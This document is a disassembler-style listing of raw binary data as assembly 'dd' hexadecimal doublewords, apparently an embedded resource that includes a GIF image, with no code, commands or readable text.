		dd 8A6E31C6h, 14DC7B8Eh, 0C884D0A1h, 0F22E43FEh, 123C8B92h
		dd 24394728h, 47091120h, 8EE5BCB0h, 66210488h, 0D83E884Eh
		dd 0C872E6DCh, 0C0D01CB9h, 0E17F9E73h, 31062E7h, 8580AA16h
		dd 99D1BA2h, 10FA4748h,	1A74CE96h, 5004A08Ch, 2A08FA87h
		dd 140AF540h, 6758C1D8h, 0CC4B82F0h, 82F712F5h,	0F03F5FC4h
		dd 0B8C79D7h, 0C71D971Ah, 0D97B48B8h, 210B8ED5h, 0B3C85DBBh
		dd 0E58FC598h, 1059F73Eh, 0BF78EE39h, 7EE22D45h, 0F9245964h
		dd 324E56EFh, 0E47C9996h, 0CC596327h, 0E0F2F650h, 0C3F8CF15h
		dd 65F1F99Bh, 0E3E4B36Eh, 2BCAE73Ch, 0C797AB83h, 0AACDE6B3h
		dd 235B4867h, 0F3F79FBEh, 0EC4CFF9Fh, 0F41E9B5Fh, 2E2B4BD8h
		dd 43FAB1ADh, 881AFA1Bh, 0AC4E06BEh, 0DBDA0DE7h, 0ABDCD20Ch
		dd 0CD3FA6FDh, 0CF71EDBDh, 34DFBBD3h, 69592D7Ch, 7B6F5DECh
		dd 0E9E4E3DAh, 556C4D81h, 0AFD5F513h, 67ACEA4Eh, 2F5BD47Dh
		dd 0BEA8D49Fh, 0FE9BB0BEh, 2EA1EC5Fh, 3FE0FBFBh, 5CE7B9AAh
		dd 0BB4B72EDh, 0B6BEE5FCh, 0E00C03B7h, 0DC3B7FF5h, 0FC7010C3h
		dd 0FA8C318Dh, 0E1183FC7h, 0DFB6F146h, 0A7FCEECFh, 36EDCDF8h
		dd 8036F767h, 165C804h,	97006FF7h, 6FD6586Fh, 340BE80Ch
		dd 0F80E6FE6h, 63464B80h, 0BB70D64Eh, 981870E0h, 71471281h
		dd 1B81C715h, 0F71B81F7h, 71D71F09h, 0A0721721h, 98287260h
		dd 8F09172h, 2972B82Bh,	0E7280847h, 73773408h, 3973A738h
		dd 0F73E73D7h, 73F06205h, 4674305Fh, 97490587h,	74B74C74h
		dd 34845034h, 47507510h, 61101475h, 4E84D613h, 96126108h
		dd 76C75975h, 56855854h, 97788578h, 85B85A85h, 5E85D85Ch
		dd 0B0B285E8h, 8630B20Ah, 65865864h, 8687808h, 70765178h
		dd 586D86Ch, 178D7057h,	79066187h, 92793669h, 0F8787967h
		dd 6740D166h, 0EF55F679h, 15730DE6h, 0D556857h,	0D40D5569h
		dd 46FE5400h, 40D25FA5h, 5625440Dh, 8B56D499h, 0C5468918h
		dd 88289088h, 0D456956Eh, 80D55740h, 48D89B0Dh,	977AE7AEh
		dd 2143D74h, 3D78A16Ah,	9B6A18A2h, 8A95F14h, 8AD53B68h
		dd 0C97DA8ABh, 37DD7DC7h, 7DC6C38Bh, 0CE0CE6C9h, 18B80D20h
		dd 7E16B06Bh, 0B58B46C9h, 24994978h, 88A5488Bh,	0E28C78BEh
		dd 47E26D37h, 6D96E86Dh, 0FD8790C6h, 26F00CA7h,	6F26F28Dh
		dd 0F8627803h, 0A6FC6277h, 8DD8DC6Fh, 0DD8DF8DEh, 80C66F08h
		dd 0BF6F57Fh, 0DB6FA6F7h, 36F96318h, 80987270h,	8EF8EEh
		dd 0F0BC0BC7h, 8068F30Bh, 0BD0BB86Eh, 0B76964B0h, 0B676A0Bh
		dd 0B8FE0B8h, 0D8197697h, 70B71270h, 771481Bh, 0A71B8209h
		dd 9F90C0Ah, 2271790Eh,	20A69118h, 9F90E91h, 18917097h
		dd 0B0940979h, 91D91C91h, 2C094091h, 308F82B8h,	8692392h
		dd 27084926h, 0D8340869h, 83783607h, 3083C73Dh,	4683FED9h
		dd 17440557h, 84304C84h, 48847844h, 0A0147518h,	9E61284h
		dd 429410A1h, 0F9439439h, 0AE9410Ah, 4A0AE0A1h,	0D94A0AF9h
		dd 94F94E94h, 4D94294Eh, 0B94D9499h, 9579560Ah,	5A959958h
		dd 95995B9h, 95A0A00Ah,	0A995895Fh, 30A99560h, 90C0AB96h
		dd 689630AAh, 0A96C96B9h, 8648660Ah, 7D77E0B5h,	0B6488677h
		dd 0B58690Bh, 0E64770Ch, 764C64D7h, 70686F8Fh, 8E787872h
		dd 86658747h, 8D066B87h, 0BF0C5879h, 0D89656A0h, 67556B98h
		dd 8C56B548h, 70D25668h, 56756D67h, 0AE57198Eh,	0B7AE7AA7h
		dd 3D868649h, 0AE6A00D8h, 28B348D8h, 49C8AF68h,	0C33D98A3h
		dd 68C06818h, 6C78C66Ch, 0B87E08C8h, 50C80CE8h,	0C80C854h
		dd 0D78CC5FEh, 0E9BC0CC6h, 6D40CC5Fh, 0B06C57E1h, 19AF6C79h
		dd 8CD8C89Bh, 62B8CEh, 66F46028h, 6F88048Dh, 0EF8F06F6h
		dd 6F98088h, 80B6FF70h,	110BD8ECh, 0DC63C8FEh, 9DE9DD9h
		dd 8F00BD70h, 0BE70178Ah, 56517000h, 78B65B9Eh,	500BF65Bh
		dd 264B8F26h, 9ED9F08Fh, 0C7098F2h, 79038177h, 90681A9Fh
		dd 0A81B909h, 37179FD9h, 91591382h, 17A02911h, 99199169h
		dd 0A0991D91h, 90924920h, 69259240h, 927A1092h,	7592A07Dh
		dd 5A16A150h, 74183607h, 3A83B068h, 574283C8h, 83E74474h
		dd 42055934h, 58468438h, 2374F84h, 3D753A2Ah, 40140159h
		dd 9894601h, 98A33A32h,	4A350A10h, 0A39A3894h, 42A3BA3Ah
		dd 0FA3E95E9h, 0A41A40A3h, 5EA43A42h, 0A4509B9h, 0A4909B0Ah
		dd 4CA4BA4Ah, 209BA4DAh, 915A50A0h, 7E96B96Dh, 296D8637h
		dd 96F64497h, 80A59A58h, 88680B67h, 87097E9Fh, 8365F981h
		dd 26F56639h, 6EF6F366h, 0F3796A69h, 0B9970BF6h, 6776CD79h
		dd 9555C546h, 0AA75A719h
		dd 0A70A7779h, 6C98F676h, 0D4B888B5h, 7AD57456h, 0FE89C541h
		dd 0AD9AD887h, 9A868899h, 9C6A86A8h, 0CA8C9A8Ch, 0C9B70D28h
		dd 0C89B70Ch, 0D8A919BCh, 1A929BC6h, 0A9BA98A9h, 8CA8FA98h
		dd 0D254CAh, 0AA2546AAh, 449BC0D2h, 5AA7A9B5h, 0CCAA6AAh
		dd 9DA9C0C9h, 562A7FBAh, 6297FE7Fh, 0B69D26F1h,	8F3AB7Ah
		dd 8138099Fh, 4E6388F8h, 68556356h, 8570BD76h, 55AC5AC4h
		dd 0E64E8FC8h, 70986E9Eh, 0CC650817h, 0D70A70BAh, 9F8AD0ACh
		dd 7818AD4h, 0E9099FC9h, 71AADA9Fh, 5171EA00h, 0B91890EAh
		dd 91AA0791h, 1BAE5A0Ah, 0FAE8A0E9h, 0A1109008h, 75A11AECh
		dd 8A1707D0h, 72A18A1h,	2F062A15h, 0FA1F9309h, 0A2474383h
		dd 3E74CA25h, 30340430h, 33A2703h, 2EA2FA2Bh, 0AA2F93DAh
		dd 8EA3600h, 0EB0DB0Ch,	1A34B0DBh, 0A33B12B1h, 96A32096h
		dd 9B18B170h, 0B1BB1AB1h, 1EA4EB1Bh, 1B20B1FBh,	9CA4DB2h
		dd 25B25B24h, 2B2409FBh, 9F0AAA5h, 0A5FE3A54h, 7186390Ch
		dd 0AB2F8649h, 0B3196FA5h, 79869B30h, 7A61AD49h, 9809E965h
		dd 689CF78Ch, 0CA6D9CFAh, 676A7AA7h, 5F5FC5FDh,	0D0C99955h
		dd 0B45B4A6Ch, 6F892B4Eh, 656E0D85h, 9C489588h,	886C7888h
		dd 80D26886h, 6C88BE0Dh, 0C59AEB56h, 9B62A8D9h,	9BE6D36Ch
		dd 94A99A92h, 0CA93A93Ah, 0A95B66AAh, 0AEB67B6Bh, 76CFA9BAh
		dd 0AA154D8Ch, 470CDAA2h, 1AAAA9C5h, 0AAD9BDB7h, 0C69BCB7Ch
		dd 362B0CC0h, 0C062A7Fh, 2606627h, 8E60C06h, 8F098A0Ch
		dd 0F39D2B8Ah, 39F08F18h, 0AC09DEB9h, 98B97AC6h, 0F8FEAC5Bh
		dd 9F69F58Fh, 8815ACCh,	0E9F69037h, 0BA5AD5B9h,	0D9AD7711h
		dd 0B0AE718Ah, 0ADDADAADh, 109A71Dh, 6097A04Ah,	0BB5AE6A0h
		dd 0E9AE991Dh, 0D733928Ah, 92692AAEh, 16AEFAF0h, 8A15739Ah
		dd 0A1CAF683h, 0FAA2073Fh, 8AFC748Ah, 3E04393h,	0D003303Eh
		dd 0FA2ABD1Bh, 0BD5BD4A2h, 0BD70FE0Ah, 3873B08Eh, 0D73CBDB8h
		dd 836BDE92h, 0E2BE1070h, 5BE4BE3Bh, 6FBE5BEh, 73BE9BE8h
		dd 0E073BEB0h, 6EBEE06h, 0F1BEF06Fh, 406EBF1Bh,	0BF7BF607h
		dd 78BF7BF8h, 0A07C0740h, 7C078BFh, 2C01078h, 0C01C03Ch
		dd 0C0707708h, 82077C08h, 0BC0AC0B0h, 0C0FC0EC0h, 7FC0E08Dh
		dd 0FC0B07F0h, 8A08D07h, 1809508Ah, 0DC1CC1BCh,	92C19C1h
		dd 22C21C20h, 5C21C23Ch, 9509209h, 0E2095C28h, 4097AE2Ah
		dd 0A51A070Ah, 9F0A40A4h, 4C34C310h, 968B2E0Ah,	0A7C390A7h
		dd 0DC3C0B00h, 0C3FC3EC3h, 0BBC3DC40h, 0CB3B0BC0h, 0BA481986h
		dd 49AD2AD0h, 0BB9386ECh, 0C4FAB70Bh, 0F598A8E6h, 5B42A6A6h
		dd 8D26F6C5h, 5AAB36F5h, 18E3C5BCh, 6F38DA63h, 628E08D6h
		dd 463B0C1Ch, 0B40B3ACh, 68C69C68h, 976A0B3Ch, 85F95A85h
		dd 0C6C6C769h, 981363BAh, 0B877576h, 5FC78771h,	195A85A8h
		dd 90C95686h, 0AA967FEh, 2B90DC81h, 2A4290EBh, 828919BBh
		dd 8CC8BC8Ah, 9094722Ch, 82A91B72h, 0B8AE7728h,	0D08DBB8Bh
		dd 88A0E08h, 9A089088h,	0AC9EC9BCh, 0C9C089C9h,	0A4085088h
		dd 3085CA5Ch, 0CA5CA3CAh, 0A7083083h, 0BBC088Ch, 0CB1C95A1h
		dd 0AFCB2CB2h, 83CAFCh,	0CB9CABA1h, 7A083CBAh, 0FCBECBD0h
		dd 0CC1CC0CBh, 7A079CC0h, 7CC60710h, 0CC9CC8CCh, 0CC06DCC6h
		dd 0FCCE065Ch, 60CD0CCh, 0D2065CD2h, 4064CD5Ch,	5DCD206h
		dd 0DC05D060h, 9CDDCDDCh, 0CE1CE005h, 51051059h, 1CE4CE00h
		dd 0CE805505h, 0EC04BCE7h, 0C03FCECCh, 3F041CEh, 3F03FBCEh
		dd 103F0400h, 0BCE04004h, 0D2CFBBD1h, 5CFEA2BBh, 0BD4BD5B0h
		dd 4D03BD7h, 104CD03Dh,	2F02F04h, 9D0B021h, 0FD0ED0DDh
		dd 0D11D10D0h, 14032D12h, 7D16D15Dh, 3AD15D1h, 3AD1BD1Ah
		dd 0FD1E0420h, 39D1ED1h, 24039042h, 7047042Dh, 0FE7D1E04h
		dd 0D26D2AD2h, 27D2DD2Ah, 0E052050Dh, 4E05004h,	34D33D32h
		dd 4D38050Dh, 52D3AD3h,	3ED3D05Ch, 1D3E05ADh, 5AD3DD4h
		dd 44D45D44h, 9D48063Dh, 0D4B06AD4h, 4ED4DD4Ch,	106906ADh
		dd 6CD51D5h, 0CCD4DD51h, 0BD4F06DCh, 76C09D4h, 82D5DC09h
		dd 3D5FC140h, 8707FC1h,	66C1E087h, 5C29C18Dh, 0D6B09309h
		dd 6CD6DD6Ch, 0ED6DD69Dh, 0D7308CA0h, 71D6E08Ch, 9093A0EDh
		dd 82A09309h, 7ED7D099h, 0ED80D7FDh, 0D830A3D7h, 860A50A3h
		dd 8D86D87Dh, 0D8BD8A0Ah, 8ED8DD8Ch, 6D8BD8FDh,	0D8CD880Ah
		dd 960AC71Dh, 9D98D97Dh, 0D9BD9AD9h, 9ED9DD9Ch,	0F90A0ACDh
		dd 0D9ADA2D9h, 0A6BAE81Fh, 9C8D71EDh, 726DAADAh, 1CB17AE5h
		dd 172B0969h, 0DB3DB2DBh, 0B3A0972Bh, 1DB1923Ch, 0CA6DBACAh
		dd 0BEDBDDBCh, 0BDBFDBFDh, 8007B07h, 80DC2DC4h,	207C07C0h
		dd 0DCBDCADCh, 0C2DCBDCCh, 0EC08CC1Ch, 0F0FE77CBh, 0CCACC5DCh
		dd 0C6DD7DD6h, 1071CCECh, 61CCE06h, 0E0DDFDDEh,	5061DE1Dh
		dd 60DDFCDh, 0E1DE7DE2h, 0BDEACE2Dh, 57DECDEh, 0F0DEFDEEh
		dd 3CE3057Dh, 0DF4DF405h, 0F804D051h, 0BCE704DDh, 0DFDDFCDFh
		dd 0EDCE4DFEh, 9CECE01Ch, 4804DDFh, 8E0704Ah, 0BE0A048Eh
		dd 0E0DE0CE0h, 4AE0FE08h, 0AE12E0D0h, 0E15E02E0h, 0EDE17E16h
		dd 0BE1A040Ch, 0CF4E1AE1h, 0F4E1FE1Eh, 0E20E1BCh, 0E25036E2h
		dd 40E26E26h, 3E23CF80h, 4103603h, 0E017D0Bh, 0E00E0210h
		dd 0E3501700h, 38E37E36h, 3E36E39Eh, 0E3CE3CE3h, 4001BE35h
		dd 0E42018Eh, 0E45E44E4h, 1B018E44h, 0AE4A01A0h, 0E48E4201h
		dd 1B02B02Bh, 3E52E4F0h, 0D1CE53E5h, 2DE57E56h,	0BE5A03C0h
		dd 0E5DE5CE5h, 60046D1Ah, 3D3AE60Eh, 0E65E64E6h, 5605604Eh
		dd 0BE6AD460h, 0D49E6AE6h, 70E6FE6Eh, 2D59E71Eh, 6C069D5h
		dd 6C06AD58h, 606CE790h, 0CE7CFE07h, 81D62E7h, 7FE80E80h
		dd 4E80E810h, 0D74D67D6h, 8CC1DD67h, 0DD7408A0h, 0E8FE8EE8h
		dd 76E8ED6Bh, 0CD7FD6DDh, 0E97D81D6h, 9AD84099h, 0DE9CE9BEh
		dd 828E9DE9h, 0A171F0A3h, 5EA4DA7Eh, 0DA5DA6EAh, 0AAEA9EA6h
		dd 0DDABADDEh, 0A08DA9EAh, 19094BB6h, 0DDB4AE6Bh, 90AE8A0h
		dd 0BAC97089h, 0B924EBAEh, 0CA0C97EBh, 0A6DC0CA1h, 5EC4DC4Ch
		dd 0EC5DCDECh, 0CADC8DC4h, 9BFDDCBEh, 0BE9074BFh, 0D0ED1ED0h
		dd 0CC7BE4Eh, 6FCC707h,	5DCCCD57h, 0DED9C09Dh, 0CD0EDDEDh
		dd 0D8EE1EE0h, 5CD7060Ch, 0CDECDECDh, 0EAEE9DECh, 0DDFFCE2Eh
		dd 0EEFE04DFh, 4EF1EF0h, 5EF4E13Eh, 3DEF5EFh, 0FAEF9EF8h
		dd 0DD24EFAEh, 0EFFEFEEFh, 2F01F00h, 5EFBEFEFh,	0F07F06F0h
		dd 4003DF08h, 40F0A0h, 0F0FF0E03h, 12F11F10h, 501FF0FFh
		dd 0F17F16F1h, 1F020020h, 0DF1CF190h, 0F15F1DF1h, 5D0B033h
		dd 6006F230h, 600900FEh, 5F2300h, 2CF2BE3Dh, 900500EFh
		dd 0F31F3000h, 34003F30h, 9F36F32Fh, 0F3900C00h, 10018E4Dh
		dd 0FF3EF3D0h, 12F3FF3h, 4201AF42h, 0AE49012Fh,	0F47E4901h
		dd 2602BE4Ah, 0FF4C0260h, 0F51F4DE4h, 5402D026h, 7F56F55Fh
		dd 3CE59F5h, 5BF5B035h,	0F5B038Fh, 0E61F5CE6h, 4EE61F62h
		dd 9F660490h, 0F6904F04h, 6804FF6Ah, 4E68F6DEh,	5405A05h
		dd 6CF72F72h, 605BD46Eh, 0F7905BF7h, 48F7AF7Ah,	0EE7105EDh
		dd 0E7AD5305h, 84E7DE7Ah, 6079E7DFh, 0F89E8407h, 8CF8BF8Ah
		dd 8E86E81Fh, 0E89E8BC1h, 93E8DC1Bh, 8E96F95Eh,	9D09DE9h
		dd 9CF99E9Ah, 0FE9EF99Fh, 0FA1FA0F9h, 3AADDD83h, 0DC39FA5Ch
		dd 0F9F71E0Ah, 23C3AEA5h, 9EABD848h, 0EA5E9BFAh, 26A07C8Ah
		dd 1A07AE37h, 0FB9FB8EBh, 8D08FC94h, 0FFBEDBA0h, 0C9DFC0FBh
		dd 9AFC3FC2h, 7EC8CA4Ch
		dd 0ECAFC7FCh, 0CCECEECDh, 0FECFFCDFh, 7FD0ED2Eh, 0FD306606h
		dd 67066FD4h, 9FD8FD70h, 0CCCFD7FDh, 0DEEDE067h, 1EE1EDEFh
		dd 0FE3CD5CDh, 59EE8EE7h, 0F79F7B0h, 0EEBF7ACEh, 53057DF5h
		dd 0ADF4DF80h, 0FF2CE4DFh, 0CDF8EEEh, 4E0BFF6Eh, 0E0CFFA04h
		dd 44FFDFFAh, 0B100F000h, 8240E043h, 0CC1C7305h, 8C46F031h
		dd 3E1D0D1Bh, 0C630D884h, 2D158A44h, 5198C45Eh,	2E8B46E3h
		dd 0A8F47E3Ch, 1748A442h, 4C8A422Ah, 7A55231h, 7A5D2D96h
		dd 0E65310F8h, 3F359A4Ch, 4130783Ch, 3A0884E7h,	0B9DCFC23h
		dd 108841F3h, 10080C06h, 0D2290050h, 38060502h,	0C135101Dh
		dd 0A355A8D3h, 359AC52Eh, 4AE0100h, 1B057C0Eh, 0B2032C16h
		dd 8032CD65h, 5A6D5690h, 0B4216D09h, 0EE41AB6Dh, 3174BA5Ch
		dd 0C22135CCh, 7D120984h, 116892FDh, 160B4598h,	0A8B70B85h
		dd 0E2F15891h, 171C46C5h, 0C9245C81h, 284F24E4h, 59927E53h
		dd 5627E6F3h, 6FE7F3Ch,	68CB5A1Dh, 78B7A3D2h, 8BDA72D9h
		dd 5DAB3197h, 86434EBBh, 0B5DA1B0Ch, 93B6DB6Dh,	0DE1E773Bh
		dd 6FD0279h, 0EF37BC0Eh, 78DC5E0h, 9148C43Ah, 19C943A2h
		dd 5D1E5F29h, 0D5E7A2BAh, 9EC24D19h, 4CF6BB5Dh,	0EF77BDDDh
		dd 78D3AA34h, 8FC9E5F2h, 0FD5E9F42h, 0D7EDF67Ah, 5F1F829Bh
		dd 0F553A8FEh, 9FC7CBEBh, 0FE7EFF5Fh, 0CFABFBFDh, 64F934Fh
		dd 312F01Ch, 4130440Fh,	0B0612904h, 841F0741h, 2508C230h
		dd 0A42B0A1h, 0C330C11Bh, 0B0E43644h, 443B0F43h, 47114424h
		dd 4044A41Ch, 0C531444Eh, 9160F914h, 80E7170Eh,	0DE398DF1h
		dd 1B46B1A0h, 4711C46Fh, 71E47637h, 47E3347h, 86338CD2h
		dd 32C87224h, 0C912448Eh, 72649636h, 849E3549h,	9324CA32h
		dd 300CA324h, 0BB2C4AEh, 62D8BB2Dh, 0C8B2D94Bh,	0AF313522h
		dd 334CB320h, 0CD229CC9h, 0B3609B34h, 64DF374Dh, 0E7390913h
		dd 0CEB3FEA4h, 33C08939h, 0DA1081CFh, 701DCF81h, 40A061C0h
		dd 0A1688A15h, 61706E8Ah, 65169022h, 4E8DD134h,	49523480h
		dd 4F4A527h, 34C52E14h,	0E5374D53h, 3E148514h, 51543505h
		dd 0D4A0ED43h, 35425E0Eh, 65560CD5h, 7006D5B5h,	9C563582h
		dd 56A05A82h, 69D56B5Bh, 681CA181h, 0B2A3804Ah,	60AAA012h
		dd 0AA604AA5h, 16458201h, 6002AC58h, 0BAAEAB76h, 42C4B12h
		dd 80F69ABEh, 4B52CCB3h, 8DB4B582h, 0EEB9AEABh,	0BE838B9Ah
		dd 5CA11038h, 0C115CA12h, 3308C0AFh, 18C3306Ch,	2331D783h
		dd 32EC8B22h, 0ECE5ED7Bh, 0E342CEB3h, 0FED2B3F7h, 0D7B537FDh
		dd 0B6234B5Eh, 43660EDBh, 0C8FC3B37h, 1F870FC3h, 0E1B7E3F6h
		dd 0E2AE3B7Ah, 2E9B9AE6h, 0DBAB8D63h, 0B18F63AEh, 913CCEF3h
		dd 64AF7645h, 0CF664F93h, 6657953Eh, 5F9765B9h,	93663986h
		dd 40B023F3h, 0D9C66F05h, 76770940h, 2B9F42D0h,	42A4A4FEh
		dd 71043F0Dh, 268FA344h, 94401071h, 15E9B156h, 45C3E459h
		dd 1AA6A7A9h, 0D4763C0Fh, 0CD1E47B1h, 0AF4831F0h, 0EC322C83h
		dd 3260CF23h, 1ECFB34Ah, 8FB4ED23h, 306DB2C4h, 4C52ECB6h
		dd 530B532Dh, 44CED4CCh, 0A7BD4D53h, 36EFB380h,	4F33B4EDh
		dd 0B3C707C1h, 728220h,	741F134h, 4450B425h, 22E8E241h
		dd 0BCA52BC8h, 0EF2FCB72h, 4745D334h, 53D4D51Dh, 55A96553h
		dd 0C0B747D1h, 6F4E0682h, 4FD40220h, 5B8229FFh,	81F5BF5Fh
		dd 81082605h, 28E02D7h,	0ACA58000h, 0AB58763Ah,	0A91DED90h
		dd 0B66F87DCh, 7D9FE2F8h, 0A6B05A36h, 0E6F9A045h, 0DB8B2DAFh
		dd 0B6EAE0B7h, 0E034082Eh, 0B5717B20h, 0BEDD1ECFh, 0B06C15D6h
		dd 0C2DDB75h, 0A5E6C55Eh, 30C87D37h, 0CE326CD3h, 5FBF7FDEh
		dd 4D434B7Eh, 936181B5h, 0F84366Dh, 0DD8FCDDEh,	0FFD850F2h
		dd 8AB13626h, 8762E701h, 0FE0258D0h, 8F9CF3ADh,	233BEC79h
		dd 50796083h, 0E192C136h, 0BB313D47h, 73F07F8Fh, 5064FA1Fh
		dd 0E0F1F983h, 9A3F07Bh, 672CD901h, 0A59E097h, 9FC2A855h
		dd 18432249h, 910C5A22h, 9912B466h, 622869C8h, 66A089D1h
		dd 0C8E5A9B5h, 43723987h, 35F6B48Dh, 488D7E22h,	12033A48h
		dd 0B4367491h, 5789CDA9h, 0B69652B2h, 6DBAB704h, 0C2638AA1h
		dd 0E8B4DEDBh, 0CE013837h, 9C22778Bh, 90770EE1h, 70CA013Fh
		dd 43087913h, 46A89222h, 998DB1B5h, 32E55CBBh, 814BC737h
		dd 0C39C530Ah, 0B73C0A63h, 64B95347h, 95647F74h, 0BA8754E9h
		dd 74EABC9Fh, 0EC24300Fh, 0DAAB7914h, 0BA786535h, 78B1CA43h
		dd 2561BBC7h, 33C4784Bh, 0C791265Eh, 0CB51E515h, 449F79h
		dd 3D32E0F4h, 5C2B79EAh, 0F65EE3DBh, 0EFAE95CEh, 0E130EF8Dh
		dd 0CEF9976Bh, 0ADF53E87h, 0ABED7DCFh, 0B974FC0Ch, 0E679F92Fh
		dd 0DFB1AB5Fh, 97FEF2FDh, 8FF1FDBFh, 0A00C0237h, 9BE80700h
		dd 62E72202h, 2D8DC09h,	7B1D81Bh, 149AD046h, 0E28026C4h
		dd 7A0C4173h, 0FB2C8350h, 0B6567EE0h, 0A7C66D4Dh, 59CC2666h
		dd 42B40E84h, 67ECEE76h, 3C618C2Fh, 1AA21867h, 3A86ED32h
		dd 0F93E03E4h, 0FDAA0780h, 0C4406B50h, 50DCD69Ah, 0E90A8244h
		dd 923A5388h, 36689893h, 4B0DAA27h, 14DB6864h, 304556E7h
		dd 596EEDD9h, 0B8DEA2D4h, 7A2FA6E8h, 127A7091h,	92051923h
		dd 840D3DB8h, 9C746922h, 120A551Bh, 50A4638h, 1D148471h
		dd 3BA9F533h, 7951AA8Ah, 0F71F14FCh, 0FE402A88h, 5D3F7591h
		dd 0B91321DDh, 0F23E4548h, 649BBB91h, 3BF29A55h, 93323CACh
		dd 2764DC9Ah, 4FCA000Fh, 0D42DD28Ah, 54B79EABh,	9A554A99h
		dd 7BE0300Bh, 25DF2C25h, 32D41ACBh, 4CDCB77Dh, 0AF99772Eh
		dd 3492FA5Eh, 0FD42D05Eh, 619AE7EEh, 0B598AFEAh, 926EDFF9h
		dd 65B0AAA9h, 799B332h,	0A4C66684h, 84EE4D39h, 0CC119ACCh
		dd 83E76266h, 0D38E6E9Eh, 6103303Fh, 8A69BD63h,	9CE7C272h
		dd 83505C27h, 154ED412h, 1311E23Eh, 1B0BD0B2h, 0CE794F11h
		dd 0D4F786B0h, 0B1013E21h, 0C1BE7EC3h, 28123445h, 4436B28Fh
		dd 0A0D415AEh, 0D851FA43h, 84A4B892h, 51A16D96h, 1EDA686Ah
		dd 568936EAh, 0B25F0B74h, 0A6F2DE28h, 6DEC26A6h, 68EB7FA3h
		dd 462A3EE0h, 8CB48881h, 0ED3F283h, 87B8EA4Eh, 73A574ACh
		dd 294BE974h, 8D4E5327h, 0C91EBBCAh, 0C73D4EA3h, 0E8A9ED3h
		dd 1D53ACA8h, 48890C4Eh, 20322AA2h, 3B00h, 0
		dd 38464947h, 3AC6139h,	0FFE7006Ch, 7F5C2F00h, 35925D2Ch
		dd 60338C5Ch, 8A612E83h, 319C6227h, 62309661h, 91613A91h
		dd 2C886438h, 6535A066h, 9D692E9Ah, 3695653Fh, 683C9768h
		dd 0A469318Ch, 3F936A36h, 693B9268h, 0A86C359Fh, 38986E3Bh
		dd 702FAA6Eh, 9A703DB1h, 479F6D48h, 6F41916Fh, 0A07040A5h
		dd 319C7436h, 733DAE74h, 9B704796h, 41AD723Ch, 76379D73h
		dd 0A1793BB8h, 45B27641h, 7938A177h, 0AD7743B4h, 3BBC7C2Fh
		dd 7D37BB79h, 0A87849ABh, 3FA37750h, 7B41A47Ch,	9E7A4AAAh
		dd 33987853h, 7858BF7Eh, 9E785692h, 3BBE7C3Eh, 7F40AF81h
		dd 0A98043BAh, 4AAE7F46h, 833EBA7Dh, 0A4814DB1h, 39B07F51h
		dd 8344C085h, 0B48541BEh, 59B8824Ch, 815BAC80h,	0A6805EA2h
		dd 4A9C8161h, 854CAF86h, 0B68843B5h, 3EBA8257h,	8847C489h
		dd 0B88946BDh, 44C4874Ah, 8A4EB38Bh, 0B58D47B3h, 4CBB8C49h
		dd 8C51C28Ch, 0C48F43B5h, 54C18A55h, 895FBB8Bh,	0B8904AB7h
		dd 62BD8F4Ch, 8A68AE8Ah, 0AE8969A5h, 54B18F55h,	9246B88Fh
		dd 0BB924CC6h, 56C19250h, 8C71BB91h, 0C89253A2h, 61BC9258h
		dd 9452C38Fh, 0C2925AC3h, 49B89557h, 9459C598h,	0B7935FBEh
		dd 72B5926Bh, 9755B590h, 0C0965CC6h, 6EC09464h,	9954AD93h
		dd 0BC985BC2h, 5FBB9663h, 995EC796h, 0BD9865C3h, 5AC59C57h
		dd 9C5ECB9Bh, 0C59B61BFh, 64AC967Bh, 9B67CB9Ah,	0C69870BFh
		dd 61C89F5Ah, 9D6AC29Fh, 0B69A7BC2h, 7FCAA15Dh,	9C73B09Ah
		dd 0B79D75C1h, 64BEA069h, 0A066C4A1h, 0C49F6CCBh, 71CA9E6Eh
		dd 0A561BF9Fh, 0C8A467CEh, 6DCEA369h, 0A375C3A4h, 0C9A470C3h
		dd 73CAA669h, 0A181CFA3h, 0CAA37ABDh, 6BC6A770h, 0A673CCA8h
		dd 0C0A776CCh, 77C6A679h, 0A67ED3A6h, 0CEAA6DC1h, 74CFA976h
		dd 0A97CC9ABh, 0CFA87EC9h, 78D2AE71h, 0AD7ACDAEh, 0C0AB87D2h
		dd 7FD2AB81h, 0AE85CDADh, 0D0B17AC8h, 7FCFAD88h, 0B082CAB1h
		dd 0D1AF8BD0h, 7AD7B086h, 0B47DCDB5h, 0CDB482D2h, 8BD3B385h
		dd 0B28DCEB3h, 0CFB684D4h, 8ED1B886h, 0B789D1B6h, 0CBB498D7h
		dd 89D7B591h, 0B697D4BAh, 0CEBA8ED3h, 90CEB895h, 0BE88D4B9h
		dd 0D0BC90D0h, 96D6BD8Bh, 0BC93DCBAh, 0D7BA9AD7h, 98DDBD8Fh
		dd 0BE92D1BCh, 0D3BD9AD2h, 93D2BCA1h, 0BF9BD4C0h, 0D6C296D4h
		dd 9DDCC199h, 0C39BD6C1h, 0D8C29ED2h, 0A4DEC1A1h, 0C59DD3C3h
		dd 0D9C2A6D4h, 9CD3C2AAh, 0C5A1E0C5h, 0CFC3AFDBh, 0A5E3C6A6h
		dd 0CAAADFC9h, 0DAC8B1DAh, 0ADD4C8B4h, 0CCA8E1C9h, 0E4CEAAE2h
		dd 0B1DECEAEh, 0CDB9E4CDh, 0E0CEB6D9h, 0B2E0D0B0h, 0D2BAE2D2h
		dd 0DED2BEE4h, 0B7E5D5B4h, 0D6BFE7D7h, 0E2D8BBE8h, 0C3E3D7C3h
		dd 0DCC8EDDBh, 0EADFC3E8h, 0CEECE0CCh, 0E2D1EFE2h, 0EFE4C8E8h
		dd 0D1F0E4D0h, 0E5D5F1E5h, 0F2E6D2ECh, 0D8EDE7D6h, 0FFFFEFE8h
		dd 4F921FFh, 0FF000A01h, 2C00h,	3AC0000h, 800006Ch, 2C1700FEh
		dd 1902070h, 17040703h,	9060984Ch, 1085C301h, 20643E0Dh
		dd 8145A2B0h, 0D840140Ah, 0C78291B8h, 5A3D208Fh, 0E46170B0h
		dd 532810C8h, 41E94CAAh, 271289E5h, 799CCA62h, 154CC742h
		dd 0ACE86A32h, 0CA77391h, 0FA823F19h, 7F44A18h,	93482551h
		dd 452A452Ah, 50A7950Ah, 22F97CA9h, 0ABD5AA75h,	39BEB267h
		dd 0D7ABA6F3h, 0EABD60AFh, 6CB64B19h, 167C3E59h, 0A8540A05h
		dd 8FB6DB10h, 0B9A411Eh, 0BBDD92A9h, 5E6F29Ah, 0DF944A05h
		dd 70380BFh, 0B0B84536h, 12ACC2E1h, 0B8C59AB3h,	8CC7E3B1h
		dd 45C64969h, 0CBAE7299h, 0DE697CB9h, 0B13359CCh, 8B42C3CFh
